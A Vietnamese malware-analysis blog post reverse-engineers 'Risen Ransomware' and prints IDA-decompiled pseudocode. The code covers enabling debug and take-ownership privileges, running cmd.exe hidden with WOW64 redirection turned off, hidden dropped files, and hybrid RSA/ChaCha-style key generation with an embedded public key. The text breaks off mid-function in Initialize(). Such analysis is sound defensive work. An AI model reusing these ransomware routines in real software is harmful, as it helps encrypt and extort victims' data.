# Risen Ransomware

Bài hôm nay tôi sẽ trình bày cách phân tích một con mã độc, cụ thể như tiếu đề đã nêu thì đây là một loại mã độc tống tiền, mã hóa dữ liệu. Không dài dòng nữa bắt đầu phân tích xem thu được gì từ quá trình này nhé.

<figure><img src="/files/cMtC6CrcPSiBPxg3uaMx" alt=""><figcaption></figcaption></figure>

Đây là file tôi nhận được.

Đầu tiên thì ta sẽ giải nén nó ra nhé sau đó phân tích tĩnh một số thông tin về con này.

<figure><img src="/files/zqr3qdYH5OGifBNdVTrt" alt=""><figcaption></figcaption></figure>

Nhận thấy kết quả đầu ra của DIE là đầy là 1 file PE 32 bit, viết bằng C++, có sử dụng các hàm windows API, giao diện console, không có đóng gói, và không có bảo vệ, được viết bằng Visual Studio 2015.

Tiếp theo kiểm tra trên CFF Explorer ta nhận được kết quả:

<figure><img src="/files/ah9DyPbJ2defcP4kfDwA" alt=""><figcaption></figcaption></figure>

nhận thấy một số hàm Window API như các hàm liên quan đến việc tạo key registry,.. và một số hàm liên quan đến process.

Dưới đây là kết quả phân tích của Virustotal:

<figure><img src="/files/8sCNKMCDtXpTRb2JFP2G" alt=""><figcaption></figcaption></figure>

Rồi hay rồi vào phân tích code tĩnh thôi.... mở vào IDA pro.

Ta sẽ phân tích một hồi xem chương trình này sẽ làm gì nhé, nó hơi mất thời gian tí, nhưng mà đáng nhé...

<figure><img src="/files/oH6mJHECESEyvqONADK0" alt=""><figcaption></figcaption></figure>

Đoạn này thì có câu lệnh `call ds:GetProcessHeap` câu lệnh này gọi để lấy handle của process heap mặc định và được lưu vào biến `hHeap`.

<figure><img src="/files/kzIuZUoS9GoZKohAx0uf" alt=""><figcaption></figcaption></figure>

`call ds:InitializeCriticalSection`: Gọi hàm `InitializeCriticalSection` (thông qua bảng virtual function) để khởi tạo critical section. Critical section được sử dụng để đồng bộ hóa truy cập tài nguyên giữa các luồng (threads) trong cùng một tiến trình (process). Nó đảm bảo chỉ có một luồng được truy cập vào một đoạn mã (critical section) tại một thời điểm.

Sau đó tạo/mở file "`RisenLogs.txt`" (nếu file chưa tồn tại thì tạo mới; nếu đã tồn tại thì mở). Như đã thấy ở trên thì có một loạt các lệnh `push`, các lệnh này trước câu lệnh call sẽ đều là tham số của hàm `CreateFileW`, `push` đầu tiên sẽ là tham số cuối cùng của hàm.

Tiếp theo sẽ dụng hàm `SetFilePointer`, hàm này sẽ di chuyển con trỏ file. Theo định nghĩa của Microsoft:

```cpp
DWORD SetFilePointer(
  [in]                HANDLE hFile,
  [in]                LONG   lDistanceToMove,
  [in, out, optional] PLONG  lpDistanceToMoveHigh,
  [in]                DWORD  dwMoveMethod
);
```

* `hFile` chính là handle file mà nó vừa tạo hoặc mở
* `dwMoveMethod` của nó có giá trị là 2. Dựa vào bảng giá trị của nó tương ứng là phương pháp đặt vị trí con trỏ vào vị trí cuối file.

<table><thead><tr><th width="93.99996948242188">Giá trị</th><th>Ý nghĩa</th></tr></thead><tbody><tr><td>0</td><td><code>FILE_BEGIN</code>: Điểm bắt đầu là 0, tức là đầu file.</td></tr><tr><td>1</td><td><code>FILE_CURRENT</code>: Điểm bắt đầu là vị trí hiện tại của con trỏ file.</td></tr><tr><td>2</td><td><code>FILE_END</code>: Điểm bắt đầu là vị trí cuối file hiện tại.</td></tr></tbody></table>

{% hint style="success" %}
Tóm tắt: tạo file `RisenLogs.txt` nếu chưa tồn tại hoặc mở nếu tồn tại sau đó đặt con trỏ vào cuối file.
{% endhint %}

Vì tôi nhận thấy có một số chưa được phân tích, nên tôi sẽ phân tích một số chức năng nhỏ mà hàm main đã gọi trước nhé, rồi sau đó quay lại hàm main.

<figure><img src="/files/dmaUJ5ZqcWnfwRrJDgD8" alt=""><figcaption></figcaption></figure>

Hàm này tôi đã đổi tên thành `LogWithTimestamp` vì ta nhìn qua hàm ta có một số hàm sau:

* `EnterCriticalSection` và `LeaveCriticalSection`: Critical section đảm bảo rằng *tại một thời điểm*, chỉ có *một luồng duy nhất* được phép thực thi đoạn mã bên trong critical section. Đoạn sẽ nằm giữa 2 hàm này.
* `GetLocalTime`: Lấy thời gian hiện tại (giờ, phút, giây, ...) và lưu vào biến `SystemTime`.
* `v5`: Định dạng chuỗi thời gian, có dạng `HH:MM:SS >>` và lưu vào `Buffer`.
* **`WriteFile`**: ghi dữ liệu vào tệp

```cpp
int __thiscall sub_403220(LPCWSTR lpName)
{
  HANDLE CurrentProcess; // eax
  BOOL v4; // eax
  HANDLE v5; // [esp-4h] [ebp-2Ch]
  HANDLE TokenHandle; // [esp+8h] [ebp-20h] BYREF
  _TOKEN_PRIVILEGES NewState; // [esp+Ch] [ebp-1Ch] BYREF
  _LUID Luid; // [esp+1Ch] [ebp-Ch] BYREF

  if ( dword_460D98 )
    LogWithTimestamp(L"SetPrivilege");
  CurrentProcess = GetCurrentProcess();
  if ( !OpenProcessToken(CurrentProcess, 0x20u, &TokenHandle) )
    return 0;
  if ( !LookupPrivilegeValueW(0, lpName, &Luid) )
  {
    v5 = TokenHandle;
LABEL_6:
    CloseHandle(v5);
    return 0;
  }
  NewState.Privileges[0].Luid = Luid;
  NewState.PrivilegeCount = 1;
  NewState.Privileges[0].Attributes = 2;
  v4 = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);
  v5 = TokenHandle;
  if ( !v4 )
    goto LABEL_6;
  CloseHandle(TokenHandle);
  if ( dword_460D98 )
    LogWithTimestamp(L"return SetPrivilege");
  return 1;
}
```

* `GetCurrentProcess`: lấy handle của tiến trình hiện tại.
* `OpenProcessToken`: Mở access token của tiến trình. Access token chứa thông tin bảo mật của tiến trình, bao gồm danh sách các quyền mà tiến trình có.
  * `0x20u`: `TOKEN_ADJUST_PRIVILEGES` - Quyền cần thiết để thay đổi quyền trong token.
  * `&TokenHandle`: Địa chỉ của biến `TokenHandle`, nơi handle của token sẽ được lưu trữ.

<figure><img src="/files/WJLme505wu0k3cxUYi8m" alt=""><figcaption></figcaption></figure>

* `LookupPrivilegeValueW`: Dựa vào tên của quyền (`lpName`), hàm này tra cứu và trả về LUID (Locally Unique Identifier) của quyền đó. LUID là một giá trị số định danh duy nhất cho quyền trên hệ thống cục bộ.&#x20;
  * `&Luid`: Địa chỉ của biến `Luid` để lưu LUID.

```cpp
NewState.Privileges[0].Luid = Luid;
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Attributes = 2;
```

* thiết lập thông tin quyền cần điều chỉnh
* `AdjustTokenPrivileges`: Hàm này thực hiện việc điều chỉnh (bật hoặc tắt) các quyền trong access token.

Từ những phân tích trên có thể thấy hàm này có chức năng chính là enable một quyền privilege cụ thể cho tiến trình hiện tại. -> do đó tôi đặt tên là `EnablePrivilege`.

Tiếp theo chúng ta sẽ đến hàm sau: (tôi sẽ comment trong code luôn)

```cpp
void sub_403300()
{
  unsigned int v0; // esi
  LPCWSTR lpName[7]; // [esp+4h] [ebp-1Ch]

  if ( dword_460D98 )
    LogWithTimestamp(L"SetPrivilegeEx"); //log lại thời gian Set quyền
  lpName[0] = L"SeDebugPrivilege";
  v0 = 0;
  lpName[1] = L"SeRestorePrivilege";
  lpName[2] = L"SeBackupPrivilege";
  lpName[3] = L"SeTakeOwnershipPrivilege";
  lpName[4] = L"SeAuditPrivilege";
  lpName[5] = L"SeSecurityPrivilege";
  lpName[6] = L"SeIncreaseBasePriorityPrivilege";
  do
    EnablePrivilege(lpName[v0++]); //vòng lặp này để bật tất cả các quyền được gán cho lpName
  while ( v0 < 7 );
  if ( dword_460D98 )
    LogWithTimestamp(L"return SetPrivilegeEx"); //log khi bật hết quyền xong
}
```

Do đó tôi sẽ đặt nên hàm này là **`EnableProcessPrivileges`. Tiếp tục thôi**

```cpp
int sub_404590()
{
  FILE *v0; // eax
  HANDLE FileW; // esi
  DWORD v3; // eax
  DWORD LastError; // eax
  DWORD NumberOfBytesWritten; // [esp+0h] [ebp-8h] BYREF

  if ( value_start )
    LogWithTimestamp(L"CreateResource"); //log
  NumberOfBytesWritten = 0;
  v0 = _wfopen(L"C:\\ProgramData\\RisenBackGround.JPG", aR_0); //kiểm tra file tồn tại
  if ( v0 ) //nếu file đã tồn tại thì đóng file và hàm trả về 1
  {
    fclose(v0);
    return 1;
  }
  // hàm CreateFileW sẽ tạo file, 
  // với quyền 0x4000000 lầ quyền ghi, không chia sẻ
  // Nếu file đã tồn tại thì hàm này sẽ thất bại
  FileW = CreateFileW(L"C:\\ProgramData\\RisenBackGround.JPG", 0x40000000u, 0, 0, 1u, 0, 0);
  if ( FileW ) // nếu tạo file thành công
  {
    if ( !WriteFile(FileW, &unk_44CB70, 0x7F96u, &NumberOfBytesWritten, 0) ) // ghi vào file với kích thước 0x7F96
    {
      if ( value_start )
      {
        LastError = GetLastError();
        LogWithTimestamp(L"Cannot Write data to Background File. GetLastError : %lu", LastError);
      }
    }
    CloseHandle(FileW); // đóng handle của file
    // đặt thuộc tính của file thành file ẩn và file hệ thống.
    SetFileAttributesW(L"C:\\ProgramData\\RisenBackGround.JPG", 6u);
  }
  else if ( value_start )
  {
    v3 = GetLastError();
    LogWithTimestamp(L"Cannot Write Background File. GetLastError : %lu", v3);
    return 1;
  }
  return 1;
}
```

* Sau khi lấy data từ địa chỉ `&unk_44CB70` với kích thước này `0x7F96u` thì tôi nhận được một ảnh như sau:

<figure><img src="/files/W95jiIBikJoKvpM2DVan" alt=""><figcaption></figcaption></figure>

Do một số phân tích trên tôi đặt hàm này là **`CreateHiddenBackgroundImage`.** Tiếp theo đến hàm này, tôi thấy hàm này được gọi khá nhiều....

```cpp
FARPROC __thiscall sub_403120(const WCHAR *this)
{
  HMODULE ModuleHandleA; // eax
  BOOL (__stdcall *IsWow64Process)(HANDLE, PBOOL); // edi
  HANDLE CurrentProcess; // eax
  HMODULE LibraryA; // eax
  BOOL (__stdcall *Wow64DisableWow64FsRedirection)(PVOID *); // eax
  HMODULE v6; // eax
  FARPROC result; // eax
  FARPROC v8; // edi
  HANDLE v9; // eax
  HMODULE v10; // eax
  int v12; // [esp+Ch] [ebp-Ch] BYREF
  int v13; // [esp+10h] [ebp-8h] BYREF

  v12 = 0;
  v13 = 0;
  ModuleHandleA = GetModuleHandleA("kernel32.dll"); //lấy handle của kernel32.dll
  //Lấy địa chỉ của hàm IsWow64Process có trong thư viện kernel32.dll
  IsWow64Process = (BOOL (__stdcall *)(HANDLE, PBOOL))GetProcAddress(ModuleHandleA, "IsWow64Process");
  
  // Kiểm tra xem hàm IsWow64Process có tồn tại không. Nếu có, lấy handle process hiện tại
  // và kiểm tra xem process có đang chạy trên môi trường WOW64 (hệ thống 64-bit chạy ứng dụng 32-bit) hay không.
  if ( !IsWow64Process || (CurrentProcess = GetCurrentProcess(), IsWow64Process(CurrentProcess, &v13)) )
  {
    if ( v13 ) //nếu process đang chạy trên WOW64
    {
      LibraryA = LoadLibraryA("kernel32.dll");
      Wow64DisableWow64FsRedirection = (BOOL (__stdcall *)(PVOID *))GetProcAddress(
                                                                      LibraryA,
                                                                      "Wow64DisableWow64FsRedirection");
      if ( Wow64DisableWow64FsRedirection )
        // hàm này dùng để tắt chế độ chuyển hướng file system
        Wow64DisableWow64FsRedirection((PVOID *)&v12);
    }
  }
  //chạy lệnh cmd.exe với tham số truyền vào là "this" và cửa sổ cmd sẽ bị ẩn
  ShellExecuteW(0, L"open", L"cmd.exe", this, 0, 0);
  v13 = 0;
  v6 = GetModuleHandleA("kernel32.dll");
  result = GetProcAddress(v6, "IsWow64Process");
  v8 = result;
  if ( !result || (v9 = GetCurrentProcess(), (result = (FARPROC)((int (__stdcall *)(HANDLE, int *))v8)(v9, &v13)) != 0) )
  {
    if ( v13 )
    {
      v10 = LoadLibraryA("kernel32.dll");
      result = GetProcAddress(v10, "Wow64RevertWow64FsRedirection");
      if ( result )
        return (FARPROC)((int (__stdcall *)(int))result)(v12);
    }
  }
  return result;
}
```

Tóm tắt chức năng của hàm này là:

* Kiểm tra WOW64: kiểm tra tiến trình hiện tại có đang chạy trong môi trường WOW64 (ứng dụng 32 bit trên hệ điều hành 64bit)
* **Tắt File System Redirection (nếu cần):** Nếu tiến trình đang chạy trong môi trường WOW64, hàm này sẽ tạm thời vô hiệu hóa cơ chế chuyển hướng hệ thống tệp (file system redirection). Việc này đảm bảo rằng khi ứng dụng 32 bit gọi đến các file trong system32 thì nó sẽ truy cập đúng thư mục system32 thay vì bị chuyển hướng đến SysWOW64.
* **Thực thi lệnh `cmd.exe`:** Hàm này sử dụng `ShellExecuteW` để thực thi lệnh `cmd.exe` với tham số dòng lệnh được cung cấp thông qua biến `this`. Cửa sổ cmd sẽ được ẩn (hidden).
* **Khôi phục File System Redirection (nếu cần):** Sau khi thực thi lệnh `cmd.exe`, hàm này khôi phục lại cơ chế chuyển hướng hệ thống tệp (nếu trước đó đã bị tắt).

-> Do đó tôi có thể đặt tên là `ExecuteHiddenCmdWithWow64RedirectionHandling`. Next

```cpp
BOOL sub_403540()
{
  if ( value_start )
    LogWithTimestamp(L"GetCryptoProvider");
  return CryptAcquireContextA(&hProv, 0, "Microsoft Enhanced RSA and AES Cryptographic Provider", 0x18u, 0xF0000000)
      || CryptAcquireContextA(&hProv, 0, "Microsoft Enhanced RSA and AES Cryptographic Provider", 0x18u, 0xF0000008)
      || CryptAcquireContextA(
           &hProv,
           0,
           "Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)",
           0x18u,
           0xF0000000)
      || CryptAcquireContextA(
           &hProv,
           0,
           "Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)",
           0x18u,
           0xF0000008);
}
```

Hàm này cố gắng lấy một handle đến một Crypto Service Provider (CSP) cụ thể của Microsoft ("Microsoft Enhanced RSA and AES Cryptographic Provider" hoặc phiên bản "Prototype" của nó). Hàm này thử nhiều lần với các cờ khác nhau:

1. `CRYPT_VERIFYCONTEXT (0xF0000000)`: Kiểm tra xem liệu CSP có thể được load không mà không cần truy cập key. Thích hợp cho các thao tác chỉ cần đến provider, chẳng hạn như hashing.
2. `CRYPT_NEWKEYSET (0xF0000008)`: Nếu container key không tồn tại, nó sẽ tạo mới.

Hàm lặp qua các trường từ kiểm tra provider không cần key, nếu không được sẽ thử tạo, rồi thử lại với tên provider có thêm chuỗi "Prototype"  theo quy trình tương tự.

Nếu thành công thì hàm trả về TRUE, ngược lại sẽ FALSE. Do vậy tôi sẽ đặt tên hàm này là `GetCryptoProvider`.

```cpp
unsigned int __fastcall sub_4012C0(int a1, unsigned int a2)
{
  unsigned int v3; // eax
  unsigned int i; // esi
  int v5; // edx
  unsigned int v6; // eax
  unsigned int v7; // eax
  unsigned int v8; // eax

  v3 = -1;
  for ( i = 0;
        i < a2;
        v3 = (((v8 >> 1) ^ -(v8 & 1) & 0xEDB88320) >> 1) ^ -(((unsigned __int8)(v8 >> 1) ^ -(v8 & 1) & 0x20) & 1) & 0xEDB88320 )
  {
    v5 = *(unsigned __int8 *)(i + a1);
    ++i;
    v6 = ((((v5 ^ v3) >> 1) ^ -(((unsigned __int8)v5 ^ (unsigned __int8)v3) & 1) & 0xEDB88320) >> 1) ^ -(((unsigned __int8)((v5 ^ v3) >> 1) ^ -(((unsigned __int8)v5 ^ (unsigned __int8)v3) & 1) & 0x20) & 1) & 0xEDB88320;
    v7 = (((v6 >> 1) ^ -(v6 & 1) & 0xEDB88320) >> 1) ^ -(((unsigned __int8)(v6 >> 1) ^ -(v6 & 1) & 0x20) & 1) & 0xEDB88320;
    v8 = (((v7 >> 1) ^ -(v7 & 1) & 0xEDB88320) >> 1) ^ -(((unsigned __int8)(v7 >> 1) ^ -(v7 & 1) & 0x20) & 1) & 0xEDB88320;
  }
  return ~v3;
}
```

Nhìn qua ta thấy có nhận biết đây là hàm tính giá trị CRC32 vì thuật toán sử dụng polynomial `0xEDB88320` (polynominal chuẩn cho CRC32)

Tìm hiểu một chút về thuật toán CRC32 ([link](https://www.linkedin.com/posts/nguyenary_nguy%C3%AAn-ary-thu%E1%BA%ADt-to%C3%A1n-crc-careerly-activity-7077605814395441152-AKQp/)):

* CRC32 là một thuật toán tạo ra một giá trị băm 32bit từ dữ liệu đầu vào, được gọi là checksum. Giá trị này đợc găn vào cuối dữ liệu và gửi đi cùng với dữ liệu. Khi dữ liệu đến được ng nhận, thuật toán CRC32 được áp dụng lại và so sánh giá trị checksum tính toán được với giá trị checksum đã gửi. Nếu 2 giá trị checksum không khớp, tức là có lỗi xảy ra trong quá trinh truyền dữ liệu.
* Áp dụng thuật toán CRC32 để tính toán giá trị checksum:
  * Bước 1: Khởi tạo giá trị ban đầu cho giá trị checksum là 0xFFFFFFFF
  * Bước 2: Xử lý từng bit trong dữ liệu theo thứ tự từ trái sang phải.
  * Bước 3: Nếu bit hiện tại là 1, thực hiện XOR giá trị checksum với một giá trị được gọi là polynominal (thường là 0xEDB88320).
  * Bước 4: Dịch trái giá trị checksum một bit.
  * Bước 5: Lặp lại bước 2-4 cho đến khi đã xử lý hết tất cả các bit trong dữ liệu.
  * Bước 6: sau khi xử lý hết dữ liệu, giá trị checksum cuối cùng là giá trị checksum của dữ liệu ban đầu.

Do đó tôi đặt tên hàm này là `CRC32`

```cpp
int sub_4035D0()
{
  BYTE *v0; // esi
  FILE *v1; // eax
  HANDLE FileW; // edi
  int v3; // edi
  DWORD NumberOfBytesRead; // [esp+10h] [ebp-8h] BYREF

  if ( value_start )
    LogWithTimestamp(L"LoadKey");
  do
    v0 = (BYTE *)HeapAlloc(hHeap, 8u, 0x154u); // cấp phát bộ nhớ động kích thước 0x154
  while ( !v0 );
  
  // Thử mở file với tên &FileName (hàm _wfopen tương tự fopen, nhưng sử dụng wide character string).
  // mode là chỉ đọc
  v1 = _wfopen(&FileName, aR_0);
  // nếu không thành thử mở file với tên xmmword_45FA70
  if ( v1 || (v1 = _wfopen(xmmword_45FA70, aR_0)) != 0 )
  {
    fclose(v1); //đóng file nếu mở thành công
    // mở file với hàm api, quyền đọc, mở file nếu tồn tại
    FileW = CreateFileW(&FileName, 0x80000000, 0, 0, 3u, 0, 0);
    if ( FileW || (FileW = CreateFileW(xmmword_45FA70, 0x80000000, 0, 0, 3u, 0, 0)) != 0 )
    {
      if ( ReadFile(FileW, v0, 0x114u, &NumberOfBytesRead, 0) ) // đọc dữ liệu từ file, tối đa 0x144 byte
      {
        CloseHandle(FileW); // đóng handle file
        
        //để import dữ liệu key từ buffer vào CSP. Handle của key sau khi import được lưu vào phKey.
        if ( CryptImportKey(hProv, v0, 0x114u, 0, 0, &phKey) )
        {
          CloseHandle(FileW);
          v3 = 1; // thành công đặt kết quả là 1
          goto LABEL_20; // nhảy đến label để giải phóng bộ nhớ và return
        }
        if ( value_start )
          LogWithTimestamp(L"Import Clienet PubKey failed!!");
      }
      else if ( value_start )
      {
        LogWithTimestamp(L"Cannot read PubKey File");
      }
    }
    else if ( value_start )
    {
      LogWithTimestamp(L"Cannot Open PubKey File");
    }
  }
  else if ( value_start )
  {
    LogWithTimestamp(L"Cannot Find PubKey File");
  }
  v3 = 0;
LABEL_20:
  HeapFree(hHeap, 0, v0); // giải phóng bộ nhớ đã cấp phát cho buffer v0
  if ( value_start )
    LogWithTimestamp(L"return LoadKey");
  return v3;
}
```

Như vậy hàm có chức năng: cấp phát bộ nhớ, mở file, đọc file, import key, ghi log nếu xử lý lỗi, giải phóng và trả về kết quả.

Như vậy mục đích chính là import một public key từ một file nên đặt tên hàm là `ImportPublicKeyFromFile`.

```cpp
_DWORD *sub_405890()
{
  _DWORD *v0; // eax
  _DWORD *v1; // esi
  bool v2; // zf

  if ( value_start )
    LogWithTimestamp(L"CreateQueue");
  do
  {
    v0 = HeapAlloc(hHeap, 8u, 0x4Cu); // Cấp phát bộ nhớ động, kích thước 0x4C byte (76 bytes)
    v1 = v0;
  }
  while ( !v0 );
  v2 = value_start == 0;
  v0[1] = 0;
  *v0 = 0;
  v0[2] = 0;
  if ( !v2 )
    LogWithTimestamp(L"return CreateQueue");
  return v1;
}
```

Hàm có chức năng cấp phát bộ nhớ và khởi tạo một cấu trúc queue -> đặt tên là `CreateQueue`.

```cpp
void __fastcall sub_402A50(HANDLE *lpMem, DWORD nCount)
{
  DWORD i; // esi

  if ( value_start )
    LogWithTimestamp(L"WaitForWorkers");
  // chờ tất cả các đối tượng trong handle lpMem kết thúc
  WaitForMultipleObjects(nCount, lpMem, 1, 0xFFFFFFFF);
  for ( i = 0; i < nCount; ++i )
  {
    if ( lpMem[i] != (HANDLE)-1 )
    {
      CloseHandle(lpMem[i]);
      LogWithTimestamp(L"Thread %d Handle Closed", i);
    }
  }
  if ( value_start )
    LogWithTimestamp(L"WaitForWorkers2");
  HeapFree(hHeap, 0, lpMem);
  if ( value_start )
    LogWithTimestamp(L"return WaitForWorkers");
}
```

Hàm có chức năng chính là đợi và đóng handle của worker -> đặt tên `WaitForAndCloseWorkers`

```cpp
int __fastcall sub_401150(HCRYPTPROV hProv, HCRYPTKEY a2, int a3, int a4)
{
  _DWORD *v5; // esi
  int v6; // ecx
  _BYTE *v7; // eax
  int v8; // eax
  int v9; // ecx
  _BYTE *v10; // eax
  DWORD pdwDataLen; // [esp+18h] [ebp-8h] BYREF

  if ( value_start )
    LogWithTimestamp(L"GenKey");
  v5 = (_DWORD *)(a3 + 104);
  pdwDataLen = 64;
  // sinh số ngẫu nhiên 32-byte và lưu tại các vị trí a3 + 104 và a3 = 72
  if ( CryptGenRandom(hProv, 0x20u, (BYTE *)(a3 + 104)) && CryptGenRandom(hProv, 0x20u, (BYTE *)(a3 + 72)) )
  {
    v6 = 64;
    v7 = (_BYTE *)(a3 + 8);
    // zero out vùng nhớ tại a3 + 8
    do
    {
      *v7++ = 0;
      --v6;
    }
    while ( v6 );
    // copy dữ liệu từ a3 + 104 vào a3 + 24
    *(_DWORD *)(a3 + 24) = *v5;
    *(_DWORD *)(a3 + 28) = *(_DWORD *)(a3 + 108);
    *(_DWORD *)(a3 + 32) = *(_DWORD *)(a3 + 112);
    *(_DWORD *)(a3 + 36) = *(_DWORD *)(a3 + 116);
    *(_DWORD *)(a3 + 40) = *(_DWORD *)(a3 + 120);
    *(_DWORD *)(a3 + 44) = *(_DWORD *)(a3 + 124);
    *(_DWORD *)(a3 + 48) = *(_DWORD *)(a3 + 128);
    *(_DWORD *)(a3 + 52) = *(_DWORD *)(a3 + 132);
    
    // Ghi chuỗi "expand 32-byte k" vào a3 + 8.
    qmemcpy((void *)(a3 + 8), "expand 32-byte k", 16);
    
    // copy dữ liệu từ a3 + 72 vào a3 + 64
    *(_DWORD *)(a3 + 56) = 0;
    *(_DWORD *)(a3 + 60) = 0;
    *(_DWORD *)(a3 + 64) = *(_DWORD *)(a3 + 72);
    *(_DWORD *)(a3 + 68) = *(_DWORD *)(a3 + 76);
    
    // copy các khối dữ liệu 16 byte từ a3 sang a4
    *(_OWORD *)(a4 + 6) = *(_OWORD *)v5;
    *(_OWORD *)(a4 + 22) = *(_OWORD *)(a3 + 120);
    *(_OWORD *)(a4 + 38) = *(_OWORD *)(a3 + 72);
    *(_OWORD *)(a4 + 54) = *(_OWORD *)(a3 + 88);
    
    // mã hóa dữ liệu tại a4 + 6 bằng key a2(handle của key),
    CryptEncrypt(a2, 0, 1, 0, (BYTE *)(a4 + 6), &pdwDataLen, 0x100u);
  }
  v8 = 32;
  
  // zero out 32 byte ở a3 + 104
  do
  {
    *(_BYTE *)v5 = 0;
    v5 = (_DWORD *)((char *)v5 + 1);
    --v8;
  }
  while ( v8 );
  v9 = 32;
  v10 = (_BYTE *)(a3 + 72);
  // zero out 32 byte ở a3 + 72
  do
  {
    *v10++ = 0;
    --v9;
  }
  while ( v9 );
  if ( value_start )
    LogWithTimestamp(L"return GenKey");
  return 1;
}
```

Như vậy hàm sinh số ngẫu nhiên, khởi tạo và mã hóa key -> chọn `GenerateAndEncryptKey`

Tiếp theo chúng ta sẽ đi phân tích hàm Initialize():

```cpp
int Initialize()
{
  FILE *v1; // eax
  HANDLE v2; // esi
  int v3; // ecx
  __int16 v4; // ax
  HANDLE FileW; // edi
  unsigned int v6; // eax
  unsigned int v7; // esi
  unsigned int v8; // edx
  DWORD LastError; // eax
  wchar_t *v10; // edx
  wchar_t v11; // ax
  wchar_t *v12; // edx
  wchar_t v13; // ax
  FILE *v14; // eax
  DWORD NumberOfBytesRead; // [esp+10h] [ebp-130h] BYREF
  DWORD NumberOfBytesWritten; // [esp+14h] [ebp-12Ch] BYREF
  __time64_t Time; // [esp+18h] [ebp-128h] BYREF
  BYTE pbData[276]; // [esp+20h] [ebp-120h] BYREF

  NumberOfBytesWritten = 0;
  if ( value_start )
    LogWithTimestamp(L"Initialize()"); // log
  if ( !GetCryptoProvider() ) //kiểm tra việc lấy CSP có thành công hay không
  {
    if ( value_start )
      LogWithTimestamp(L"GetCryptoProvider failed!!");
    return 0;
  }
  
  // khởi tạo một cấu trúc dữ liệu biểu diễn một public key RSA trong định dạng PUBLICKEYBLOB của CryptoAPI
  *(_DWORD *)pbData = 0x206; 
  strcpy((char *)&pbData[8], "RSA1");
  pbData[13] = 8;
  *(_WORD *)&pbData[14] = 0;
  *(_DWORD *)&pbData[16] = 0x10001;
  *(_DWORD *)&pbData[20] = 0xFB5DA58D;
  *(_DWORD *)&pbData[24] = 0xD310EF74;
  *(_DWORD *)&pbData[28] = -137724264;
  *(_DWORD *)&pbData[32] = 530484888;
  *(_DWORD *)&pbData[36] = 2054155736;
  *(_DWORD *)&pbData[40] = -2114408850;
  *(_DWORD *)&pbData[44] = -1570068596;
  *(_DWORD *)&pbData[48] = -659252256;
  *(_DWORD *)&pbData[52] = -1010459350;
  *(_DWORD *)&pbData[56] = -1227389482;
  *(_DWORD *)&pbData[60] = 997316719;
  *(_DWORD *)&pbData[64] = -1059774007;
  *(_DWORD *)&pbData[68] = 340717268;
  *(_DWORD *)&pbData[72] = -475205732;
  *(_DWORD *)&pbData[76] = -582712519;
  *(_DWORD *)&pbData[80] = -2073627869;
  *(_DWORD *)&pbData[84] = 1322196576;
  *(_DWORD *)&pbData[88] = -1660501508;
  *(_DWORD *)&pbData[92] = 110385937;
  *(_DWORD *)&pbData[96] = 457803160;
  *(_DWORD *)&pbData[100] = 2036055886;
  *(_DWORD *)&pbData[104] = -1083979001;
  *(_DWORD *)&pbData[108] = 502014286;
  *(_DWORD *)&pbData[112] = -1959663987;
  *(_DWORD *)&pbData[116] = 292423656;
  *(_DWORD *)&pbData[120] = 510192823;
  *(_DWORD *)&pbData[124] = 210601647;
  *(_DWORD *)&pbData[128] = -252801444;
  *(_DWORD *)&pbData[132] = 1721170688;
  *(_DWORD *)&pbData[136] = -1317430664;
  *(_DWORD *)&pbData[140] = 1530324636;
  *(_DWORD *)&pbData[144] = 2094774972;
  *(_DWORD *)&pbData[148] = 977523081;
  *(_DWORD *)&pbData[152] = 1288875426;
  *(_DWORD *)&pbData[156] = -704103736;
  *(_DWORD *)&pbData[160] = -1696916088;
  *(_DWORD *)&pbData[164] = 820649317;
  *(_DWORD *)&pbData[168] = 1973704173;
  *(_DWORD *)&pbData[172] = 121807629;
  *(_DWORD *)&pbData[176] = 1067664458;
  *(_DWORD *)&pbData[180] = -895072378;
  *(_DWORD *)&pbData[184] = -1687152406;
  *(_DWORD *)&pbData[188] = 1787918706;
  *(_DWORD *)&pbData[192] = 933135583;
  *(_DWORD *)&pbData[196] = -1797242251;
  *(_DWORD *)&pbData[200] = 2011635299;
  *(_DWORD *)&pbData[204] = 990776437;
  *(_DWORD *)&pbData[208] = 1351792431;
  *(_DWORD *)&pbData[212] = 1733609623;
  *(_DWORD *)&pbData[216] = 134342588;
  *(_DWORD *)&pbData[220] = -713869055;
  *(_DWORD *)&pbData[224] = -601619509;
  *(_DWORD *)&pbData[228] = 550748444;
  *(_DWORD *)&pbData[232] = 122616435;
  *(_DWORD *)&pbData[236] = -530899653;
  *(_DWORD *)&pbData[240] = -1863063765;
  *(_DWORD *)&pbData[244] = 2013017746;
  *(_DWORD *)&pbData[248] = 814410648;
  *(_DWORD *)&pbData[252] = -1096920128;
  *(_DWORD *)&pbData[256] = 1926246494;
  *(_DWORD *)&pbData[260] = 1072609823;
  *(_DWORD *)&pbData[264] = -344635351;
  *(_DWORD *)&pbData[268] = -2002100412;
  *(_DWORD *)&pbData[272] = 0xA829FF1B;
  
  // kiểm tra tính toàn vẹn của phData bằng CRC32
  // nếu toàn vẹn thì log và sleep rồi kết thúc tiến trình với mã lỗi 1
  if ( CRC32((int)pbData, 0x114u) != 0x9B3B042B )
  {
    if ( value_start )
      LogWithTimestamp(&off_43E9B4); 
    Sleep(0x4B0u);
    ExitProcess(1u);
  }
  
  // kiểm tra import key có thành công hay không
  if ( !CryptImportKey(hProv, pbData, 0x114u, 0, 0, &dword_456DA0) )
  {
    if ( value_start )
    {
      LogWithTimestamp(L"CryptImportKey failed!!");
      return 0;
    }
    return 0;
  }
  NumberOfBytesRead = 0;
  
  //mở file chế độ đọc
  v1 = _wfopen(L"C:\\ProgramData\\Risen_ID.txt", aR_0);
  if ( !v1 )
  {
    v1 = _wfopen(L"Risen_ID.txt", aR_0);
    if ( !v1 ) // nếu vẫn không mở được:
    {
      if ( value_start )
        LogWithTimestamp(&off_43EAA8);
      // thử tạo file (ghi đè nếu tồn tại)
      FileW = CreateFileW(L"C:\\ProgramData\\Risen_ID.txt", 0x40000000u, 0, 0, 1u, 0, 0);
      if ( !FileW ) // nếu không tạo được file ở đường dẫn tuyệt đối
      {
        // tạo file cùng thư mục với file thực thi
        FileW = CreateFileW(L"Risen_ID.txt", 0x40000000u, 0, 0, 1u, 0, 0);
        if ( !FileW ) // nếu vẫn không tạo được
          LogWithTimestamp(L"Cannot Create ID File");
      }
      word_456DAC = 0;
      word_456DB8 = 0;
